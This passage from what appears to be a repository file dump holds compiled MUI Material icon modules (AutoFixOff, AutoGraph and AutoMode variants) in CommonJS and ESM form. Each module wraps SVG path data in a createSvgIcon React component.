    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 1-2.5 1.4L18 1l1.4 2.5L18 6l2.5-1.4L23 6l-1.4-2.5zm-8.34 6.22 2.12 2.12-2.44 2.44.81.81 2.55-2.55c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0L11.4 8.84l.81.81zm-.78 6.65-3.75-3.75-6.86-6.86L2 4.53l6.86 6.86-6.57 6.57c-.39.39-.39 1.02 0 1.41l2.34 2.34c.39.39 1.02.39 1.41 0l6.57-6.57L19.47 22l1.27-1.27z\"\n}), 'AutoFixOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 1-2.5 1.4L18 1l1.4 2.5L18 6l2.5-1.4L23 6l-1.4-2.5zm-8.34 6.22 2.12 2.12-2.44 2.44.81.81 2.55-2.55c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0L11.4 8.84l.81.81zm-.78 6.65-3.75-3.75-6.86-6.86L2 4.53l6.86 6.86-6.57 6.57c-.39.39-.39 1.02 0 1.41l2.34 2.34c.39.39 1.02.39 1.41 0l6.57-6.57L19.47 22l1.27-1.27z\"\n}), 'AutoFixOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-5.83 1.42 1.41 1.41-1.46 1.46 1.41 1.41 2.17-2.17c.39-.39.39-1.02 0-1.41l-2.83-2.83c-.19-.19-.44-.29-.7-.29s-.51.1-.71.29l-2.17 2.17 1.41 1.41zM1.39 4.22l7.07 7.07-6.17 6.17c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l6.17-6.17 7.07 7.07 1.41-1.41L2.81 2.81zm9.9 9.9-5.46 5.46-1.41-1.41 5.46-5.46z\"\n}), 'AutoFixOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-5.83 1.42 1.41 1.41-1.46 1.46 1.41 1.41 2.17-2.17c.39-.39.39-1.02 0-1.41l-2.83-2.83c-.19-.19-.44-.29-.7-.29s-.51.1-.71.29l-2.17 2.17 1.41 1.41zM1.39 4.22l7.07 7.07-6.17 6.17c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l6.17-6.17 7.07 7.07 1.41-1.41L2.81 2.81zm9.9 9.9-5.46 5.46-1.41-1.41 5.46-5.46z\"\n}), 'AutoFixOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 3.55-1.06-.49L20.45 2c-.18-.39-.73-.39-.91 0l-.49 1.06-1.05.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.18.39.73.39.91 0l.49-1.06L22 4.45c.39-.17.39-.73 0-.9m-7.83 4.87 1.41 1.41-1.46 1.46 1.41 1.41 2.17-2.17c.39-.39.39-1.02 0-1.41l-2.83-2.83a.996.996 0 0 0-1.41 0l-2.17 2.17 1.41 1.41zM2.1 4.93l6.36 6.36-6.17 6.17c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0l6.17-6.17 6.36 6.36c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42\"\n}), 'AutoFixOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 3.55-1.06-.49L20.45 2c-.18-.39-.73-.39-.91 0l-.49 1.06-1.05.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.18.39.73.39.91 0l.49-1.06L22 4.45c.39-.17.39-.73 0-.9m-7.83 4.87 1.41 1.41-1.46 1.46 1.41 1.41 2.17-2.17c.39-.39.39-1.02 0-1.41l-2.83-2.83a.996.996 0 0 0-1.41 0l-2.17 2.17 1.41 1.41zM2.1 4.93l6.36 6.36-6.17 6.17c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0l6.17-6.17 6.36 6.36c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42\"\n}), 'AutoFixOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-5.83 1.42 1.41 1.41-1.46 1.46 1.42 1.42 2.87-2.88-4.24-4.24-2.88 2.87 1.42 1.42zM1.39 4.22l7.07 7.07-6.87 6.88 4.24 4.24 6.88-6.87 7.07 7.07 1.41-1.42L2.81 2.81z\"\n}), 'AutoFixOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-5.83 1.42 1.41 1.41-1.46 1.46 1.42 1.42 2.87-2.88-4.24-4.24-2.88 2.87 1.42 1.42zM1.39 4.22l7.07 7.07-6.87 6.88 4.24 4.24 6.88-6.87 7.07 7.07 1.41-1.42L2.81 2.81z\"\n}), 'AutoFixOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.417 18.1738 5.466-5.466 1.4142 1.4143-5.466 5.466z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-5.83 1.42 1.41 1.41-1.46 1.46 1.41 1.41 2.17-2.17c.39-.39.39-1.02 0-1.41l-2.83-2.83c-.19-.19-.44-.29-.7-.29s-.51.1-.71.29l-2.17 2.17 1.41 1.41zM2.81 2.81 1.39 4.22l7.07 7.07-6.17 6.17c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l6.17-6.17 7.07 7.07 1.41-1.41zm3.02 16.78-1.41-1.41 5.46-5.46 1.41 1.41z\"\n}, \"1\")], 'AutoFixOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.417 18.1738 5.466-5.466 1.4142 1.4143-5.466 5.466z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-5.83 1.42 1.41 1.41-1.46 1.46 1.41 1.41 2.17-2.17c.39-.39.39-1.02 0-1.41l-2.83-2.83c-.19-.19-.44-.29-.7-.29s-.51.1-.71.29l-2.17 2.17 1.41 1.41zM2.81 2.81 1.39 4.22l7.07 7.07-6.17 6.17c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l6.17-6.17 7.07 7.07 1.41-1.41zm3.02 16.78-1.41-1.41 5.46-5.46 1.41 1.41z\"\n}, \"1\")], 'AutoFixOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraph.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraph');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraph.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraph');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraphOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraphOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.06 9.94 13 9.45c-.39-.18-.39-.73 0-.91l1.06-.49.49-1.05c.18-.39.73-.39.91 0l.49 1.06 1.05.49c.39.18.39.73 0 .91l-1.06.49-.49 1.05c-.18.39-.73.39-.91 0zM4.45 13l.49-1.06L6 11.45c.39-.18.39-.73 0-.91l-1.06-.49L4.45 9c-.17-.39-.73-.39-.9 0l-.49 1.06-1.06.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.17.39.73.39.9 0m4.51-5.01.63-1.4 1.4-.63c.39-.18.39-.73 0-.91l-1.4-.63-.63-1.4c-.18-.39-.73-.39-.91 0l-.63 1.4-1.4.63c-.39.18-.39.73 0 .91l1.4.63.63 1.4c.17.39.73.39.91 0m13.38.28c-.4-.4-1.07-.39-1.45.04l-6.39 7.18-3.29-3.29a.996.996 0 0 0-1.41 0l-6.04 6.05c-.41.41-.41 1.09 0 1.5s1.09.41 1.5 0l5.25-5.26 3.25 3.25c.41.41 1.07.39 1.45-.04l7.17-8.07c.35-.39.33-.99-.04-1.36\"\n}), 'AutoGraphRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.06 9.94 13 9.45c-.39-.18-.39-.73 0-.91l1.06-.49.49-1.05c.18-.39.73-.39.91 0l.49 1.06 1.05.49c.39.18.39.73 0 .91l-1.06.49-.49 1.05c-.18.39-.73.39-.91 0zM4.45 13l.49-1.06L6 11.45c.39-.18.39-.73 0-.91l-1.06-.49L4.45 9c-.17-.39-.73-.39-.9 0l-.49 1.06-1.06.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.17.39.73.39.9 0m4.51-5.01.63-1.4 1.4-.63c.39-.18.39-.73 0-.91l-1.4-.63-.63-1.4c-.18-.39-.73-.39-.91 0l-.63 1.4-1.4.63c-.39.18-.39.73 0 .91l1.4.63.63 1.4c.17.39.73.39.91 0m13.38.28c-.4-.4-1.07-.39-1.45.04l-6.39 7.18-3.29-3.29a.996.996 0 0 0-1.41 0l-6.04 6.05c-.41.41-.41 1.09 0 1.5s1.09.41 1.5 0l5.25-5.26 3.25 3.25c.41.41 1.07.39 1.45-.04l7.17-8.07c.35-.39.33-.99-.04-1.36\"\n}), 'AutoGraphRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraphSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraphSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraphTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoGraphTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.06 9.94 12 9l2.06-.94L15 6l.94 2.06L18 9l-2.06.94L15 12zM4 14l.94-2.06L7 11l-2.06-.94L4 8l-.94 2.06L1 11l2.06.94zm4.5-5 1.09-2.41L12 5.5 9.59 4.41 8.5 2 7.41 4.41 5 5.5l2.41 1.09zm-4 11.5 6-6.01 4 4L23 8.93l-1.41-1.41-7.09 7.97-4-4L3 19z\"\n}), 'AutoGraphTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoMode.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoMode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.06 2.83c-1.15-.77-2.46-1.32-3.86-1.61-.62-.12-1.2.35-1.2.99 0 .46.31.88.76.97 1.17.23 2.26.7 3.21 1.34.39.26.9.19 1.23-.14.46-.45.39-1.2-.14-1.55M11 2.21c0-.64-.58-1.11-1.2-.99-1.4.29-2.71.84-3.86 1.61-.52.35-.59 1.1-.15 1.54.33.33.84.4 1.23.14.96-.64 2.04-1.1 3.21-1.34.46-.08.77-.5.77-.96M4.38 5.79c-.45-.45-1.2-.37-1.54.15-.77 1.15-1.33 2.45-1.61 3.86-.13.62.35 1.2.98 1.2.46 0 .88-.31.97-.76.23-1.17.7-2.26 1.34-3.22.25-.38.18-.9-.14-1.23M21.79 11c.63 0 1.11-.58.98-1.2-.29-1.4-.84-2.7-1.61-3.86-.35-.52-1.1-.6-1.54-.15-.33.33-.4.84-.14 1.23.64.96 1.1 2.05 1.34 3.22.09.45.51.76.97.76M8 12.46l2.44 1.11 1.1 2.43c.18.39.73.39.91 0l1.11-2.44 2.44-1.1c.39-.18.39-.73 0-.91l-2.44-1.11L12.46 8c-.18-.39-.73-.39-.91 0l-1.11 2.44L8 11.54c-.39.18-.39.74 0 .92\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H6c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1v-1.7c1.99 2.84 5.27 4.7 9 4.7 4.45 0 8.27-2.64 10-6.43.26-.57-.08-1.25-.69-1.39-.45-.1-.93.11-1.12.54C18.77 18.83 15.64 21 12 21\"\n}, \"1\")], 'AutoModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.06 2.83c-1.15-.77-2.46-1.32-3.86-1.61-.62-.12-1.2.35-1.2.99 0 .46.31.88.76.97 1.17.23 2.26.7 3.21 1.34.39.26.9.19 1.23-.14.46-.45.39-1.2-.14-1.55M11 2.21c0-.64-.58-1.11-1.2-.99-1.4.29-2.71.84-3.86 1.61-.52.35-.59 1.1-.15 1.54.33.33.84.4 1.23.14.96-.64 2.04-1.1 3.21-1.34.46-.08.77-.5.77-.96M4.38 5.79c-.45-.45-1.2-.37-1.54.15-.77 1.15-1.33 2.45-1.61 3.86-.13.62.35 1.2.98 1.2.46 0 .88-.31.97-.76.23-1.17.7-2.26 1.34-3.22.25-.38.18-.9-.14-1.23M21.79 11c.63 0 1.11-.58.98-1.2-.29-1.4-.84-2.7-1.61-3.86-.35-.52-1.1-.6-1.54-.15-.33.33-.4.84-.14 1.23.64.96 1.1 2.05 1.34 3.22.09.45.51.76.97.76M8 12.46l2.44 1.11 1.1 2.43c.18.39.73.39.91 0l1.11-2.44 